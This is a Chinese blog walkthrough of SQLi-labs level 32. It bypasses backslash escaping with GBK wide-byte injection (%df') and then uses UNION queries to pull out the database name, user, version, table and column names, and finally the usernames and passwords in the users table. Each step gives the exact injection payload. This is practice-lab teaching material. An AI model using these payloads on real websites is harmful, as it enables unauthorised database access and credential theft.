SQL-labs的第32关——union联合查询攻击 宽字节注入(Get)

绕过向危险字符添加斜杠的自定义筛选器

注意只要出现危险字符就会自动添加斜杆。这里的危险字符只有单引号,所以只要写了单引号,就要干扰斜杠。

1、判断闭合方式

输入语句

?id=1\

,返回页面如下:

按理来说,它这次是无法正常返回内容的,但是它正常返回了,并且又了一个\。

我们再输入

?id=1'

,返回页面如下:

我们再输入

?id=111'

,返回页面如下:

我们这次发现无论输入什么数字,都会在数值的后面加上一个\。其实应该说是在其他符号的前面加上\。比如:输入

?id='1'

,返回页面如下:

在单引号的后面加上了\。

我们确定这一次应当使用宽字节注入。

2、干扰反斜杠

输入语句

?id=1%df'

,返回页面如下:

我们发现出现了报错,这是因为反斜杠的编码是%5c,而在GBK编码中,%df%5c繁体字“连”,这样的话\就无法阻碍单引号了,即单引号成功逃逸。此时单引号成功发挥作用。但由于该网站的闭合方式也是单引号所以出现了报错。

3、判断闭合方式

我们再输入

?id=1%df\

 尝试闭合,返回页面如下:

这说明该网站的闭合方式是单引号。

4、选择注入方式

我们发现该网站既会出现报错信息,又有回显位,所以该关既可以使用union联合查询攻击,也可以使用报错注入。

我们这次选择union联合查询攻击。

5、寻找回显点

输入语句

?id=1%df' order by 3--+

,返回页面如下:

由此可以确定,一共有3个返回点 。我们现在看看这三个返回点中有几个回显点。

输入语句,返回页面如下:

所以第2和3个返回点是回显点。

6、查询数据库名、用户名、版本

输入语句

?id=0%df' union select 11,database(),concat(user(),version())--+

,返回页面如下:

7、查询数据表名

输入语句

?id=0%df' union select 11,group_concat(table_name),12 from information_schema.tables where table_schema=database()--+

,返回页面如下:

8、查询字段名

输入语句

?id=1%df' union select 11,group_concat(column_name),12 from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+

,返回页面如下:

这里的0x7573657273是'users'的Hex编码。

9、查询字段内容

输入语句

?id=0%df' union select 11,group_concat(concat(id,0x7e,username,0x7e,password) ),12 from users --+

,返回页面如下:

到此打靶结束

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hacker-小胖锅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值